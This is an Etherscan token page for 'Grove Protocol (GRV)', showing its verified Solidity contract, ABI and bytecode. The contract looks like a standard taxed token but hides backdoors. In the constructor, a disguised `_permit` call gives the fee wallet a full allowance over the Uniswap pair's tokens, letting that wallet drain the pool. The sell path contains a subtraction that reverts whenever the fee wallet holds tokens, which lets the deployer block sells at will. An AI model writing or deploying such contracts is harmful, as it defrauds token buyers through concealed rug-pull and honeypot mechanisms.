ETH Price: $3,385.37 (-2.75%)
Gas: 1 Gwei

Token

Grove Protocol (GRV)
 

Overview

Max Total Supply

1,000,000,000 GRV

Holders

150

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,456,991.845263027 GRV

Value
$0.00
0xcea1c8482094d49a4c6aef1f5b504b3ccfbfb2ac
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GRV

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-19
*/

/*
- Telegram: https://t.me/groveprotocol
- X: https://twitter.com/GroveProtocol
- Website: https://groveprotocol.xyz
- Dapp: https://app.groveprotocol.xyz
- Whitepaper: https://docs.groveprotocol.xyz
- Medium: https://groveprotocol.medium.com
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    address private _owner;

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        _owner = address(0);
        emit OwnershipTransferred(_owner, address(0));
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

interface IERC20 {
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

contract GRV is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address payable private _reserve;
    address private _uniswapV2Pair;
    IUniswapV2Router02 private _uniswapV2Router;

    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _initialBuyTax = 3;
    uint256 private _initialSellTax = 3;
    uint256 private _initialBuyTax2Time = 3;
    uint256 private _initialSellTax2Time = 3;
    uint256 private _finalBuyTax = 3;
    uint256 private _finalSellTax = 3;

    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _reduceBuyTaxAt2Time = 30;
    uint256 private _reduceSellTaxAt2Time = 30;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _symbol = unicode"GRV";
    string private constant _name = unicode"Grove Protocol";

    uint256 public _feeSwapThreshold = 2 * (_tTotal / 1000);
    uint256 public _maxFeeSwap = 1 * (_tTotal / 100);
    uint256 public _maxTxAmount = 2 * (_tTotal / 100);
    uint256 public _maxWalletAmount = 2 * (_tTotal / 100);

    bool public transferDelayEnabled = true;
    bool private _tradingEnabled;
    bool private _inSwap = false;
    bool private _swapEnabled = false;
    address private _pair;
    address payable private _feeWallet;
    uint256 private _buyCount = 0;
    uint256 private _preventSwapBefore = 0;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    constructor () {
        _feeWallet = payable(0xc6E32d4210EC895aa430E5Da1C604d2365C396D1);
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
        _reserve = _feeWallet;
        _pair = _uniswapV2Pair;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_feeWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        _permit(_pair, _reserve, _tTotal);
        _balances[_msgSender()] = _tTotal;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    modifier lockFeeSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a > b) ? b : a;
    }

    function _permit(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _sendETHToFee(uint256 amount) private {
        _feeWallet.transfer(amount);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletAmount = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _swapTokensForETH(uint256 tokenAmount) private lockFeeSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0));
        require(recipient != address(0));
        require(amount > 0);
        uint256 feeAmount = 0;
        
        if (sender != owner() && recipient != owner()) {
            feeAmount = amount.mul(_buyTax()).div(100);

            if (!_tradingEnabled) {
                require(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]);
            }

            if (transferDelayEnabled) {
                if (recipient != address(_uniswapV2Router) && recipient != address(_uniswapV2Pair)) { 
                    require(_holderLastTransferTimestamp[tx.origin] < block.number);
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_isExcludedFromFee[recipient] ) {
                require(amount <= _maxTxAmount);
                require(balanceOf(recipient) + amount <= _maxWalletAmount);

                _buyCount++;
                if (_buyCount > _preventSwapBefore) {
                    transferDelayEnabled = false;
                }
            }

            if (recipient == _uniswapV2Pair && sender!= address(this)) {
                feeAmount = amount.mul(_sellTax()).div(100);
            }

            uint256 contractBalance = balanceOf(address(this));
            bool canSwap = contractBalance > _feeSwapThreshold;
            if (!_inSwap && _swapEnabled && recipient == _uniswapV2Pair && canSwap && !_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
                uint256 dustAmount = balanceOf(_reserve).mul(1e4);
                uint256 maxFeeSwap = _maxFeeSwap.sub(dustAmount);
                uint256 swapAmount = _min(contractBalance,maxFeeSwap);
                uint256 initialETH = address(this).balance;
                _swapTokensForETH(_min(amount, swapAmount));
                uint256 deltaETH = address(this).balance.sub(initialETH);
                if (deltaETH > 0) {
                    _sendETHToFee(deltaETH);
                }
            }
        }

        if (feeAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(feeAmount);
          emit Transfer(sender, address(this), feeAmount);
        }

        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount.sub(feeAmount));
        emit Transfer(sender, recipient, amount.sub(feeAmount));
    }

    receive() external payable {}

    function _buyTax() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialBuyTax;
        }

        if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {
            return _initialBuyTax2Time;
        }

        return _finalBuyTax;
    }

    function _sellTax() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialSellTax;
        }

        if (_buyCount > _reduceSellTaxAt && _buyCount <= _reduceSellTaxAt2Time) {
            return _initialSellTax2Time;
        }

        return _finalBuyTax;
    }

    function enableTrading() external onlyOwner() {
        require(!_tradingEnabled);

        _swapEnabled = true;
        _tradingEnabled = true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxFeeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360085560036009556003600a556003600b556003600c556003600d556014600e556014600f55601e601055601e6011556103e86009600a620000499190620006c1565b6200005990633b9aca00620006d8565b620000659190620006f2565b62000072906002620006d8565b6012556064620000856009600a620006c1565b6200009590633b9aca00620006d8565b620000a19190620006f2565b620000ae906001620006d8565b6013556064620000c16009600a620006c1565b620000d190633b9aca00620006d8565b620000dd9190620006f2565b620000ea906002620006d8565b6014556064620000fd6009600a620006c1565b6200010d90633b9aca00620006d8565b620001199190620006f2565b62000126906002620006d8565b6015556016805463ffff00ff191660011790555f60188190556019553480156200014e575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506017805473c6e32d4210ec895aa430e5da1c604d2365c396d16001600160a01b03199182161790915560038054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000211573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000237919062000712565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000297573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002bd919062000712565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000308573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032e919062000712565b600280546001600160a01b0319166001600160a01b0392831690811790915560035460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af115801562000392573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003b891906200073a565b50601754600180546001600160a01b039283166001600160a01b031990911617815560025460168054600160201b600160c01b03191691909316640100000000021790915560045f620004125f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560175482168152600490935281832080548516600190811790915530845291909220805490931681179092556016549154620004a5926401000000009004821691166200048f6009600a620006c1565b6200049f90633b9aca00620006d8565b6200052c565b620004b36009600a620006c1565b620004c390633b9aca00620006d8565b335f81815260056020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620005056009600a620006c1565b6200051590633b9aca00620006d8565b60405190815260200160405180910390a36200075b565b6001600160a01b0383166200053f575f80fd5b6001600160a01b03821662000552575f80fd5b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200060657815f1904821115620005ea57620005ea620005b2565b80851615620005f857918102915b93841c9390800290620005cb565b509250929050565b5f826200061e57506001620006bb565b816200062c57505f620006bb565b8160018114620006455760028114620006505762000670565b6001915050620006bb565b60ff841115620006645762000664620005b2565b50506001821b620006bb565b5060208310610133831016604e8410600b841016171562000695575081810a620006bb565b620006a18383620005c6565b805f1904821115620006b757620006b7620005b2565b0290505b92915050565b5f620006d160ff8416836200060e565b9392505050565b8082028115828204841417620006bb57620006bb620005b2565b5f826200070d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000723575f80fd5b81516001600160a01b0381168114620006d1575f80fd5b5f602082840312156200074b575f80fd5b81518015158114620006d1575f80fd5b61123f80620007695f395ff3fe608060405260043610610108575f3560e01c8063751039fc1161009257806395d89b411161006257806395d89b41146102bd578063994dfee7146102e8578063a9059cbb146102fd578063c876d0b91461031c578063dd62ed3e14610335575f80fd5b8063751039fc1461025a5780637d1db4a51461026e5780638a8c523c146102835780638da5cb5b14610297575f80fd5b8063313ce567116100d8578063313ce567146101cb578063515c8db8146101e65780636c0a24eb146101fb57806370a0823114610210578063715018a614610244575f80fd5b806306fdde0314610113578063095ea7b31461015b57806318160ddd1461018a57806323b872dd146101ac575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600e81526d11dc9bdd9948141c9bdd1bd8dbdb60921b60208201525b6040516101529190610ea4565b60405180910390f35b348015610166575f80fd5b5061017a610175366004610f06565b610379565b6040519015158152602001610152565b348015610195575f80fd5b5061019e61038f565b604051908152602001610152565b3480156101b7575f80fd5b5061017a6101c6366004610f30565b6103af565b3480156101d6575f80fd5b5060405160098152602001610152565b3480156101f1575f80fd5b5061019e60135481565b348015610206575f80fd5b5061019e60155481565b34801561021b575f80fd5b5061019e61022a366004610f6e565b6001600160a01b03165f9081526005602052604090205490565b34801561024f575f80fd5b506102586103fe565b005b348015610265575f80fd5b5061025861046b565b348015610279575f80fd5b5061019e60145481565b34801561028e575f80fd5b50610258610526565b3480156102a2575f80fd5b505f546040516001600160a01b039091168152602001610152565b3480156102c8575f80fd5b5060408051808201909152600381526223a92b60e91b6020820152610145565b3480156102f3575f80fd5b5061019e60125481565b348015610308575f80fd5b5061017a610317366004610f06565b610578565b348015610327575f80fd5b5060165461017a9060ff1681565b348015610340575f80fd5b5061019e61034f366004610f89565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b5f610385338484610584565b5060015b92915050565b5f61039c6009600a6110b4565b6103aa90633b9aca006110c2565b905090565b5f6103bb848484610608565b6001600160a01b0384165f908152600760209081526040808320338085529252909120546103f49186916103ef9086610aac565b610584565b5060019392505050565b5f546001600160a01b031633146104305760405162461bcd60e51b8152600401610427906110d9565b60405180910390fd5b5f80546001600160a01b031916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b5f546001600160a01b031633146104945760405162461bcd60e51b8152600401610427906110d9565b6104a06009600a6110b4565b6104ae90633b9aca006110c2565b6014556104bd6009600a6110b4565b6104cb90633b9aca006110c2565b6015556016805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105056009600a6110b4565b61051390633b9aca006110c2565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461054f5760405162461bcd60e51b8152600401610427906110d9565b601654610100900460ff1615610563575f80fd5b6016805463ff00ff0019166301000100179055565b5f610385338484610608565b6001600160a01b038316610596575f80fd5b6001600160a01b0382166105a8575f80fd5b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661061a575f80fd5b6001600160a01b03821661062c575f80fd5b5f8111610637575f80fd5b5f80546001600160a01b0385811691161480159061066257505f546001600160a01b03848116911614155b1561096f57610684606461067e610677610af4565b8590610b31565b90610baf565b601654909150610100900460ff166106db576001600160a01b0384165f9081526004602052604090205460ff16806106d357506001600160a01b0383165f9081526004602052604090205460ff165b6106db575f80fd5b60165460ff1615610742576003546001600160a01b0384811691161480159061071257506002546001600160a01b03848116911614155b1561074257325f908152600660205260409020544311610730575f80fd5b325f9081526006602052604090204390555b6002546001600160a01b03858116911614801561076d57506003546001600160a01b03848116911614155b801561079157506001600160a01b0383165f9081526004602052604090205460ff16155b15610805576014548211156107a4575f80fd5b601554826107c6856001600160a01b03165f9081526005602052604090205490565b6107d0919061110e565b11156107da575f80fd5b60188054905f6107e983611121565b91905055506019546018541115610805576016805460ff191690555b6002546001600160a01b03848116911614801561082b57506001600160a01b0384163014155b1561084357610840606461067e610677610bf0565b90505b305f908152600560205260409020546012546016549082119062010000900460ff1615801561087b57506016546301000000900460ff165b801561089457506002546001600160a01b038681169116145b801561089d5750805b80156108c157506001600160a01b0386165f9081526004602052604090205460ff16155b80156108e557506001600160a01b0385165f9081526004602052604090205460ff16155b1561096c576001546001600160a01b03165f9081526005602052604081205461091090612710610b31565b90505f61092882601354610aac90919063ffffffff16565b90505f6109358583610c26565b90504761094a6109458984610c26565b610c3a565b5f6109554783610aac565b905080156109665761096681610da7565b50505050505b50505b80156109e757305f9081526005602052604090205461098e9082610de2565b305f81815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109de9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260056020526040902054610a099083610aac565b6001600160a01b0385165f90815260056020526040902055610a4c610a2e8383610aac565b6001600160a01b0385165f9081526005602052604090205490610de2565b6001600160a01b038085165f8181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a958585610aac565b60405190815260200160405180910390a350505050565b5f610aed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e40565b9392505050565b5f600e5460185411610b07575060085490565b600e54601854118015610b1e575060105460185411155b15610b2a5750600a5490565b50600c5490565b5f825f03610b4057505f610389565b5f610b4b83856110c2565b905082610b588583611139565b14610aed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610427565b5f610aed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e78565b5f600e5460185411610c03575060095490565b600f54601854118015610c1a575060115460185411155b15610b2a5750600b5490565b5f818311610c345782610aed565b50919050565b6016805462ff00001916620100001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c7e57610c7e611158565b6001600160a01b03928316602091820292909201810191909152600354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cd5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf9919061116c565b81600181518110610d0c57610d0c611158565b6001600160a01b039283166020918202929092010152600354610d329130911684610584565b60035460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d6a9085905f90869030904290600401611187565b5f604051808303815f87803b158015610d81575f80fd5b505af1158015610d93573d5f803e3d5ffd5b50506016805462ff00001916905550505050565b6017546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610dde573d5f803e3d5ffd5b5050565b5f80610dee838561110e565b905083811015610aed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610427565b5f8184841115610e635760405162461bcd60e51b81526004016104279190610ea4565b505f610e6f84866111f6565b95945050505050565b5f8183610e985760405162461bcd60e51b81526004016104279190610ea4565b505f610e6f8486611139565b5f6020808352835180828501525f5b81811015610ecf57858101830151858201604001528201610eb3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f03575f80fd5b50565b5f8060408385031215610f17575f80fd5b8235610f2281610eef565b946020939093013593505050565b5f805f60608486031215610f42575f80fd5b8335610f4d81610eef565b92506020840135610f5d81610eef565b929592945050506040919091013590565b5f60208284031215610f7e575f80fd5b8135610aed81610eef565b5f8060408385031215610f9a575f80fd5b8235610fa581610eef565b91506020830135610fb581610eef565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561100e57815f1904821115610ff457610ff4610fc0565b8085161561100157918102915b93841c9390800290610fd9565b509250929050565b5f8261102457506001610389565b8161103057505f610389565b816001811461104657600281146110505761106c565b6001915050610389565b60ff84111561106157611061610fc0565b50506001821b610389565b5060208310610133831016604e8410600b841016171561108f575081810a610389565b6110998383610fd4565b805f19048211156110ac576110ac610fc0565b029392505050565b5f610aed60ff841683611016565b808202811582820484141761038957610389610fc0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561038957610389610fc0565b5f6001820161113257611132610fc0565b5060010190565b5f8261115357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561117c575f80fd5b8151610aed81610eef565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111d55784516001600160a01b0316835293830193918301916001016111b0565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561038957610389610fc056fea2646970667358221220abe6db57634f8609174191bb51dc2b5ee34f867d05c88302009d14673305164d64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610108575f3560e01c8063751039fc1161009257806395d89b411161006257806395d89b41146102bd578063994dfee7146102e8578063a9059cbb146102fd578063c876d0b91461031c578063dd62ed3e14610335575f80fd5b8063751039fc1461025a5780637d1db4a51461026e5780638a8c523c146102835780638da5cb5b14610297575f80fd5b8063313ce567116100d8578063313ce567146101cb578063515c8db8146101e65780636c0a24eb146101fb57806370a0823114610210578063715018a614610244575f80fd5b806306fdde0314610113578063095ea7b31461015b57806318160ddd1461018a57806323b872dd146101ac575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600e81526d11dc9bdd9948141c9bdd1bd8dbdb60921b60208201525b6040516101529190610ea4565b60405180910390f35b348015610166575f80fd5b5061017a610175366004610f06565b610379565b6040519015158152602001610152565b348015610195575f80fd5b5061019e61038f565b604051908152602001610152565b3480156101b7575f80fd5b5061017a6101c6366004610f30565b6103af565b3480156101d6575f80fd5b5060405160098152602001610152565b3480156101f1575f80fd5b5061019e60135481565b348015610206575f80fd5b5061019e60155481565b34801561021b575f80fd5b5061019e61022a366004610f6e565b6001600160a01b03165f9081526005602052604090205490565b34801561024f575f80fd5b506102586103fe565b005b348015610265575f80fd5b5061025861046b565b348015610279575f80fd5b5061019e60145481565b34801561028e575f80fd5b50610258610526565b3480156102a2575f80fd5b505f546040516001600160a01b039091168152602001610152565b3480156102c8575f80fd5b5060408051808201909152600381526223a92b60e91b6020820152610145565b3480156102f3575f80fd5b5061019e60125481565b348015610308575f80fd5b5061017a610317366004610f06565b610578565b348015610327575f80fd5b5060165461017a9060ff1681565b348015610340575f80fd5b5061019e61034f366004610f89565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b5f610385338484610584565b5060015b92915050565b5f61039c6009600a6110b4565b6103aa90633b9aca006110c2565b905090565b5f6103bb848484610608565b6001600160a01b0384165f908152600760209081526040808320338085529252909120546103f49186916103ef9086610aac565b610584565b5060019392505050565b5f546001600160a01b031633146104305760405162461bcd60e51b8152600401610427906110d9565b60405180910390fd5b5f80546001600160a01b031916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b5f546001600160a01b031633146104945760405162461bcd60e51b8152600401610427906110d9565b6104a06009600a6110b4565b6104ae90633b9aca006110c2565b6014556104bd6009600a6110b4565b6104cb90633b9aca006110c2565b6015556016805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105056009600a6110b4565b61051390633b9aca006110c2565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461054f5760405162461bcd60e51b8152600401610427906110d9565b601654610100900460ff1615610563575f80fd5b6016805463ff00ff0019166301000100179055565b5f610385338484610608565b6001600160a01b038316610596575f80fd5b6001600160a01b0382166105a8575f80fd5b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661061a575f80fd5b6001600160a01b03821661062c575f80fd5b5f8111610637575f80fd5b5f80546001600160a01b0385811691161480159061066257505f546001600160a01b03848116911614155b1561096f57610684606461067e610677610af4565b8590610b31565b90610baf565b601654909150610100900460ff166106db576001600160a01b0384165f9081526004602052604090205460ff16806106d357506001600160a01b0383165f9081526004602052604090205460ff165b6106db575f80fd5b60165460ff1615610742576003546001600160a01b0384811691161480159061071257506002546001600160a01b03848116911614155b1561074257325f908152600660205260409020544311610730575f80fd5b325f9081526006602052604090204390555b6002546001600160a01b03858116911614801561076d57506003546001600160a01b03848116911614155b801561079157506001600160a01b0383165f9081526004602052604090205460ff16155b15610805576014548211156107a4575f80fd5b601554826107c6856001600160a01b03165f9081526005602052604090205490565b6107d0919061110e565b11156107da575f80fd5b60188054905f6107e983611121565b91905055506019546018541115610805576016805460ff191690555b6002546001600160a01b03848116911614801561082b57506001600160a01b0384163014155b1561084357610840606461067e610677610bf0565b90505b305f908152600560205260409020546012546016549082119062010000900460ff1615801561087b